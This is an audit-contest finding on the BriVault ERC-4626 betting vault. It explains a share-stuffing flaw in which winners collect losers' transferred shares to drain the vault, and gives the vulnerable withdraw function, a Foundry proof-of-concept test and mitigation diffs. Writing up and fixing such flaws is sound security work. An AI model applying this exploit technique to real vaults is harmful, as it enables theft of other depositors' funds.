BriVault
First Flight #52
Beginner FriendlySolidity
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Attacker can aggregate other losers' shares to drain vault's assets in a share-stuffing attack.

noahzzz

Root + Impact

Description

  • Since the ERC-4626 tokens can be transferred between players freely at any period of time, winner can aggregate more shares from other losers (likely also be attacker's address) to increase share balance while the denominator totalWinnerShares stay unchanged.

  • assetToWithdraw will then have an outsized allocation to the winner, making other legitimate winners withdraw less or even unable to withdraw.

  • It is mainly caused by the snapshot mismatch in getting shares and totalWinnerShares. The contracts uses balanceOf(msg.sender) to calculate a "now" winner's shares and totalWinnerShares to record a "then" total winners shares, which has already been fixed during the setWinner process.

function withdraw() external winnerSet {
if (block.timestamp < eventEndDate) {
revert eventNotEnded();
}
​
if (
keccak256(abi.encodePacked(userToCountry[msg.sender])) !=
keccak256(abi.encodePacked(winner))
) {
revert didNotWin();
}
​
uint256 shares = balanceOf(msg.sender); // @> root cause: shares snapshot
​
uint256 vaultAsset = finalizedVaultAsset;
uint256 assetToWithdraw = Math.mulDiv(shares, vaultAsset, totalWinnerShares);
_burn(msg.sender, shares);
​
IERC20(asset()).safeTransfer(msg.sender, assetToWithdraw);
​
emit Withdraw(msg.sender, assetToWithdraw);
}

Risk

Likelihood: High

  • The attack requires no extra settings and permissions. Losers may willingly transfer their shares to the attacker because their shares otherwise have zero payouts. Losers can also be addresses controlled by the attacker making every possible guess, guarantee at least one winning address (Sybil), transferring the losing shares to over claim.

  • Extremely profitable for attackers and very easy to conduct exploitation.

Impact: High

  • Full loss for honest winners. Attackers can withdraw most or all of the final assets on their first claim, causing subsequent winners to revert. Protocol totally unusable.

Proof of Concept

This test function demonstrates how to make attacker win an extra amount of prize and drain the vault, making other winners (victim) unable to withdraw.

function test_exploitShareStuffing() public {
address attacker = makeAddr("attacker");
address victim = makeAddr("victim");
address loser = makeAddr("loser");
​
mockToken.mint(attacker, 50 ether);
mockToken.mint(victim, 50 ether);
mockToken.mint(loser, 50 ether);
// Owner set countries
vm.prank(owner);
briVault.setCountry(countries);
// victim deposits and joins 0
vm.startPrank(victim);
mockToken.approve(address(briVault), 5 ether);
briVault.deposit(5 ether, victim);
briVault.joinEvent(0);
vm.stopPrank();
// loser deposits and joins 10
vm.startPrank(loser);
mockToken.approve(address(briVault), 5 ether);
briVault.deposit(5 ether, loser);
briVault.joinEvent(10);
vm.stopPrank();
// attacker deposits and joins 0
vm.startPrank(attacker);
mockToken.approve(address(briVault), 5 ether);
briVault.deposit(5 ether, attacker);
briVault.joinEvent(0);
vm.stopPrank();
// set winner to be 0
vm.warp(eventEndDate + 1);
vm.prank(owner);
briVault.setWinner(0);
​
// Now loser transfers shares to attacker
uint256 loserShares = briVault.balanceOf(loser);
vm.prank(loser);
briVault.transfer(attacker, loserShares);
​
vm.prank(attacker);
briVault.withdraw();
​
// Before attacker withdraw: vaultAssets = 15 ether, totalwinnerShares = 10 ether (victim + attacker)
// After loser's transfer: attackerShares = 5 ether + 5 ether = 10 ether
// After attacker withdraw: vaultAssets = 15 ether - 15 ether = 0 ether
assertEq(mockToken.balanceOf(address(briVault)), 0);
}
​

How to run this test: Paste test function test_exploitShareStuffing() in file test/briVault.t.sol.

Recommended Mitigation

Switch the shares to userSharesToCountry[msg.sender][winnerCountryId] to align the snapshot timing with that of totalWinnerShares.

- uint256 shares = balanceOf(msg.sender)
+ uint256 shares = userSharesToCountry[msg.sender][winnerCountryId]

Or we can just block all share transfers after the event ends

+ function _update(address from, address to, uint256 value)
+ internal
+ override(ERC20)
+ {
+ // Allow normal mint/burn, but block address to address moves after event end.
+ if (block.timestamp >= eventEndDate) {
+ if (from != address(0) && to != address(0)) revert TransfersLocked();
+ }
+ super._update(from, to, value);
+ }
Updates

Appeal created

bube Lead Judge 19 days ago
Submission Judgement Published
Validated
Assigned finding tags:

Inflation attack

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!